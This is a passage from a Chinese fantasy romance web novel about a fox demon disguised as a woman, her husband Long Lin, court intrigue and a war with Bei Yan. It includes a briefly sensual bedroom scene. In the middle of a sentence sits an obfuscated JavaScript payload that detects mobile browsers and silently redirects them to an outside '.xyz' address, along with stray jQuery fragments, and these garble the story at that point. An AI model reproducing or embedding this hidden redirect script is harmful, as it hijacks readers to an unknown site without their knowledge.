掌心下的肌肤细腻温热,他拇指打着圈轻揉,正好按在腰窝附近。白亦顿时软了身子,喉间溢出一声轻哼,那里靠近尾巴根,是狐妖最敏感的地方,被揉得狠了,只能攀着龙霖的肩膀喘息。 白亦被勾出了兴致,察觉到龙霖刻意抽出手的动作,知道他也在克制,突然撑起身子。 “龙霖,你是不是......只想和女子亲近?嫌弃我是个男人?” 这句话在心底压了太久, 龙霖静静看着他,许久,才低声道:“不是。” 白亦语气委屈:“……你从前不是这样的。” 隔了许久龙霖才缓缓开口道:“我知道你有东西放在我身上。” “......你是不是,”龙霖的声音罕见地带上几分迷茫,“想和我亲近,把东西取了回去,就会离开?” 白亦听出了龙霖话里的无奈,突然俯身,吻住龙霖的侧颈,他贴着那处肌肤呢喃:“......不是的。” 龙霖的手臂骤然收紧,将他按进怀中,两人的心跳隔着胸膛相贴,渐渐合成同一个频率。 白亦想,他也不想离开。 得到这个答案,白亦突然被龙霖笼罩下来,将他钉在方寸之间。 那具滚烫的身躯压得他喘不过气,挣脱不开也或许根本不想挣脱。 他感觉到龙霖的热。 又深又重。 像是要将他整个人剖开,从里到外都打上烙印。 烧得白亦指尖发颤,连呼吸都变得断断续续。 每一次都在要命的地方,逼得他脊背绷紧,脚趾蜷缩,喉间压抑不住的喘息。 等一切结束。 白亦趴在对方肩上,水波晃得他昏沉,皮肤相贴的地方烫得几乎要化开,温水漫过腰线时像被柔软的云托住,连骨缝里渗出的疲乏都被泡得酥软,最后一点清醒也随着蒸腾的热气散尽,眼皮坠下去时,他听见龙霖的心跳隔着胸腔震响,缓慢地沉进梦里。 * 宁国的年关总是最冷的,朔风卷着碎雪往人骨头缝里钻,边关的战报却比这天气更寒,北燕的铁骑压得紧,龙霖能抽身回府的日子掰碎了算也不过寥寥几日。 好不容易得了闲,白亦便拽着他上街,雪粒子扑簌簌地落,却在挨着人衣角前就被蒸成雾气。 宽袖底下,龙霖的手指扣得极紧,指节抵进白亦的掌纹里,像是要把这些日子缺的触碰都补回来。 白亦另一只手还在数要买的年货,絮絮叨叨地说府里的炭火、年礼、祭祖的香烛都得经他的手,话音末尾带了点不自觉的埋怨,却更像撒娇。 龙霖侧头看他,呵出的白气模糊了唇角笑意,只听见他低低说了句:“我娘子最能干了。” 街上人潮涌动,叫卖声混着炮竹碎响,白亦耳尖倏地红了,抽手想挣,却被龙霖攥得更紧。雪落满肩头,像悄悄白了头。 白亦指尖在龙霖掌心不轻不重地掐了一下,低声道:“你不要在外面说这种话。” 他仍是一身女子装束,云鬓斜挽,珠钗微颤,那张脸被雪色衬得愈发惊艳。 走累了,他便拽着龙霖的袖口说饿,两人于是挑了一家临街的酒楼进去,二楼雅座垂着竹帘,隔出一小方清净。小二殷勤引路,一口一个“老爷夫人”叫得热络。 茶刚斟满,帘外便有人躬身递话,说两位,静竹公主有请。 白亦想起那日险些被打回原形的痛楚,可抬眼时却见龙霖神色平静,只问他:“你想去吗?” 白亦抿了抿唇,他想起司晨曾说,龙霖连公主府的宴帖都鲜少应承,他说:“毕竟是公主有请,总不好推拒。” 雅间里熏香袅袅,静竹公主正在喝茶,身侧还坐着两人,一人正是那日长街上纵马飞驰、险些踏伤幼童的华服男子,以及曾在公主生辰宴上露过面的另一位。 龙霖替白亦介绍:“这是今上的四皇子和五皇子。” 话音未落,五皇子邵献的目光已掠过龙霖,在白亦身上停留。 龙霖眉头一皱,侧身将白亦往身后挡了挡。 五皇子突然说真是你,于是说起那日白亦飞身救人的情形。 龙霖显然不知道还发生了这么一遭事,淡淡道:“夫人向来心善。只是五皇子当街纵马,若伤了百姓,该当如何?” 邵宵执起酒盏解围,对于龙霖的咄咄逼人颇有微词,他笑意不达眼底:“父皇已重重罚过五弟,当日多亏龙夫人出手相助,本宫敬你一杯。” 白亦从落座起便未发一言。 静竹公主端坐主位,茶盏抵在唇边,面上端庄温雅,眼底却密语如针,对白亦说:“你使了什么妖术蛊惑龙霖?” 白亦说他没有。 “不信。”静竹说,“九重天上多少仙子对他暗送秋波,他都不屑一顾,偏栽在你这种野路子的狐媚手段上。” 白亦若此刻尾巴在外,怕是早已炸毛竖起,打不过,骂不赢。 邵宵的酒盏已递到眼前,白亦尚未回神,手指先一步接了过来。下一秒,龙霖的手不容抗拒地将酒杯截了过去。 “四殿下恕罪。”他声音沉静,却透出一抹强势,“我夫人身子弱,饮不得酒,我代他。” 说罢他仰首一饮而尽。 邵宵怔了怔,目光在二人交叠的衣袖间打了个转:“倒是我考虑不周了。” 他笑着赔罪说:“龙夫人,得罪了。” 白亦连忙装出一副柔弱的模样,轻咳两声:“四皇子言重了。” 席间酒过三巡,话题转到了北燕战事。 四皇子和龙霖都不太乐观,唯有五皇子认为宁国肯定会大胜。 静竹的密语突然刺入白亦耳中:“此战宁国必败。司命已告诉我,由你替我去北燕和亲。” 白亦:“......就非得如此吗?” “你以为命册是儿戏?一丝偏差便是三界动荡。情劫若不痛彻心扉,何来大彻大悟?龙霖肩负三界,归位刻不容缓。” “小狐狸,你别挡他的道。” 龙霖给他夹了爱吃的菜,白亦却食不下咽。 回程的马车上,龙霖将他冰凉的手拢入掌心,车帘外碎雪纷飞。 龙霖身上带着淡淡的酒气,眼底沉着几分醉意:“什么时候救的人?这种危险的事不准再一个人做。” 白亦被他圈在方寸之间,闷声辩解:“我是妖,伤不到我的。” 这话倒让龙霖难得一噎:“那也不行。” 龙霖下巴重重压在白亦肩窝:“以后有事必须告诉我,不准骗我,听见没有?” 白亦动了两下没出声。龙霖忽然收紧了手臂,嗓音里掺了丝危险的质问:“小骗子,你还瞒着我什么?” “......没有了。” "真没了?" "......真没了。" “离四皇子五皇子远点,他们看你的眼神让我很不舒服。” 白亦哭笑不得:“我是男子......” “还有静竹公主也远一些。”龙霖突然掰过他下巴,“她盯你的时间比那两个人还久。" 白亦:“......……” 年关刚过没几日,宋则这个孤家寡人又厚着脸皮登门蹭饭来了,还带着几个当年和龙霖一同进京赶考的同窗。 酒过三巡,几人都喝得上了头,拍着桌子开始细数寒窗苦读的辛酸,说到动情处连眼眶都红了。 龙霖和白亦这些年没少接济这些同窗,席间推杯换盏倒也热闹。有人醉醺醺地打趣,说就数龙霖命最好,不仅高中入仕,还有这么个漂亮贤惠的“夫人”相伴,哪像他们府上,连个知冷知热的人都没有。 又有人借着酒劲“翻旧账”,说当年在书院时,每次白亦来给龙霖送东西,都能惹得满院学子眼红。 龙霖嘴上说着“是长辈定下的婚事,他也身不由己”,却小气得连让人多看一眼都不肯,非得把人拉到角落里说话。后来白亦真不来了,这小子反倒往家跑得比谁都勤。 白亦闻言抬眼看向龙霖,果然见他握着酒杯的手指微微收紧,表情不甚自然。 白亦声音里带着笑意:“你们别逗他了,他脸皮薄。” 宋则想起一件事立刻道:“嫂子你是不知道,当初龙霖成亲的时候那个欠打得意的模样,我真是想起来都恨得牙痒痒,当年原本替我母亲选生辰礼物,他便说给我当参考,我以为他真心实意。” “‘这钗不错,我娘子戴应该最好看’”宋则学着龙霖的语气,接着愤愤不平,“我给他看我给我娘的寿礼,他倒好,别有私心!” 满座哄笑中白亦也笑着低下头。龙霖脸色变了又变:“宋则,闭嘴。” 闹到三更天,白亦安排车马送客,醉得走不动的就安置在厢房。 龙霖醉得最厉害,被扶上床时还攥着白亦的衣袖不放。等仆役都退下,白亦刚拧了热毛巾转身,突然被拽着手腕跌进龙霖怀里。 窗外“砰”地炸开一朵烟花,龙霖的吻混着酒气落在眉心。白亦听见他胸腔震动,带着醉意的声音又低又哑:“......两年了。” 明明灭灭的光透过雕花窗棂,在白亦脸上投下斑斓的影子。他枕在龙霖心口,望着窗外接连绽放的焰火,上京的确比封阳县不知热闹多少——这是他在狐族幽谷修行百年,从未见过的红尘热闹。 白亦指尖描摹着龙霖轮廓,声音轻得像雪落:“龙霖,你知道吗?我以前当狐狸的时候,觉得一辈子在狐谷摘果子的时候就很好,只听狐族前辈说过,有个叫人间的地方,我们狐狸去不得,我本来也有个哥哥,他对我很好,他来一趟人间,爱上了一个不该爱的人,就再也没回过狐谷,前辈们都说他死了。” 字句带着哀伤。 龙霖的手掌笨拙地拍在他后背:“你哥哥也爱上了凡人吗?你是来......寻你哥哥的吗?”问话在醉意里断成几截。 白亦没有回答,只把脸埋进对方颈窝,直到听见龙霖含混的承诺:“以后我当你的亲人......” 呼吸渐渐绵长。 月光爬过窗棂,白亦的指尖停在龙霖眉骨:“我哥爱上的也是个神仙......却被逼得堕了魔。” 他在黑暗里俯身,唇瓣颤抖着贴上龙霖的额头:“到时候你想要我的命就拿去……我知道,等到你归位那天我们便是反目之时。” 神仙是不会想要用自己逆鳞去救一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523534|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堕魔的妖物的。 “可我不能眼睁睁地看着我哥那样,我本来只是想骗骗你,可是却爱上了你……” 三月的雨下得绵密,朝堂上笼罩着挥之不去的阴霾。 北燕的铁骑踏碎了边境的春色,宁国靠着囤积的粮草熬过寒冬,却在开春时节节败退。四皇子披甲上阵的消息传来时,龙霖也消失了数日,白亦后来才得知,他瞒着他竟亲自押送粮草去了前线。 在北燕攻下宁国的三座城池后,朝中主和派便接连上奏,宁国皇帝向北燕递了求和信。 白亦隐去身形站在战场上,雨水混着血水浸透泥土,伤兵的呻吟声被雨幕打得支离破碎。 北燕兵肥马壮,双方悬殊的差距一目了然。 龙霖眼底布满血丝,铠甲下的衣袍已经数日未换,正哑着嗓子与五皇子他这种激进的打法,再打下去的会死多少人。 邵献目眦尽裂:“不打下去,那我长姐就要被送去和亲!龙霖,你懂吗?” 龙霖脸上浮现一抹深深的无奈。 司命不知何时出现在身后,衣摆不沾半点血污。 “你觉得悲哀?”他开口对白亦道,“凡间的战争不过如四季轮转,不要插手试图改变什么,占有与掠夺,本就是人刻在骨子里的天性。” 雨丝穿过司晨虚幻的身影,将这番话浇得愈发冰冷。 远处龙霖突然抬头,仿佛感应到什么似的望向白亦隐身的方向,却只看见被雨水洗得发亮的枪戟和残缺的城墙。 北燕皇帝收了求和书,而后派了北燕使团进入宁国。 四皇子的军队随之班师回朝,旌旗上还沾着未干的血迹。 白亦在城外十里亭就迎上了龙霖。风尘仆仆的将军铠甲未卸,眼底青黑一片,下巴上冒出的胡茬刮得白亦掌心发痒。四皇子拍了拍龙霖的肩,朝白亦颔首示意,便回宫了。 浴桶里的热水漫过龙霖精瘦的腰线,白亦的指腹沾着澡豆,在那些新增的伤痕上小心翼翼地打转。忽然触到臂膀一道狰狞的疤,结痂的皮肉还泛着红。 “不是只送粮草吗?”他声音发紧,“怎么伤成这样?” 龙霖突然抓住他的手腕:“当时北燕突袭,为了救一个被箭射伤的小兵……他只有十七,家中还有父母和兄弟,就那么死在我怀里……” 话尾突然哑了,像被什么哽住。 白亦一把将人搂进怀里,湿透的衣襟贴在胸口也顾不得。他手指插进龙霖半湿的发间,像安抚受惊的野兽般轻轻梳理:“不会了,以后再也不会打了。” 北燕果然狮子大开口,三座富庶城池,百万两白银,更要宁国捧出最珍贵的明珠。 朝中大臣提出以宗室女加封公主代嫁。北燕为首的使者突然大笑,镶着金牙的齿列闪着寒光:“我们王上斩下的头颅能堆成山,岂是什么阿猫阿狗都配得上?” 话音未落,五皇子要起身争执,被四皇子一个眼神钉在原地。 龙霖注意到使团末席那个戴玄铁面具的男子,手指在膝头一叩一叩,那为首的使者说话时甚至看了看他的眼色,不由地皱了皱眉。 总之第一日是谈崩了。 白亦正对着铜镜描眉画目,待最后妆成,司晨和司命对视一眼,齐齐竖起大拇指。 不得不说,这狐狸精是长得真好。 镜中人眼波流转间,桃花都逊色三分。 白亦抬手拂着鬓边珠钗,他这次的任务简单直白。 司命道:“你只要让那北燕皇帝多看你两眼,这事没准就成了。” 白亦开口说:“你们到底能不能确认,堂堂北燕君主,竟敢混在使团里深入敌国?” 司晨说:“那是个从尸山血海里爬出来的主儿,北燕皇位不讲究血脉,只认拳头,而且北燕铁骑就在两国边界虎视眈眈,即使有人发觉他的身份,你猜有人敢对他做什么吗?” 钟离邃走过宁国长街,目光仿佛睥睨一切。 两侧百姓如潮水退避,他半张面具映着冷光,露出的下颌线如刀削般锋利。 白亦提着新裁的裙裾迈出成衣铺子,他佯装不经意地抬头,正撞进面具后那双鹰隼般的眼睛里。 忽然一阵疾风掠过,面上面纱如白蝶翩然坠落,他弯腰去拾,后颈雪肤在青丝间若隐若现,却被一阵风吹起。 白亦也不管有没有用,施了点媚术在那凡人身上,果真看见那人盯着自己痴痴的眼神。 白亦转身没入人群,耳坠晃出一道银弧。 钟离邃突然推开护卫冲出去,瓦图带着使团气喘吁吁追到时,只见他们向来杀伐果决的君主正攥着半幅白纱站在巷口。 “主上,我们身处异国,还是小心为上。” 那片月白衣角进入人潮便不见了踪迹,钟离邃忽然按住心口:“瓦图,我见到神女了。” 回府的白亦坐在镜前。 铜镜里映出白亦精心描画的眉眼,胭脂晕染的眼尾还泛着薄红。 司晨坐在一旁说:“这事大概是成了。” 白亦正出神地望着镜中陌生的自己,司晨开口说龙霖回来了,说完便遁了。 房门被推开,白亦还没来得及转身,肩膀就被人按住,发间那支鎏金点翠的步摇就被龙霖抽走。 “你素来不爱这些艳俗首饰。”龙霖声音沉在喉间,“今日去哪了?” 白亦心虚:“偶尔也想换换打扮,好看吗?” 龙霖突然将簪子掷在妆台上:“好看,不过下次别戴了。” 白亦察觉到龙霖有些不开心,转身顺势环住他脖颈,脸颊贴在他肩窝轻轻蹭了蹭:“我以后不这样打扮了,别不开心了。”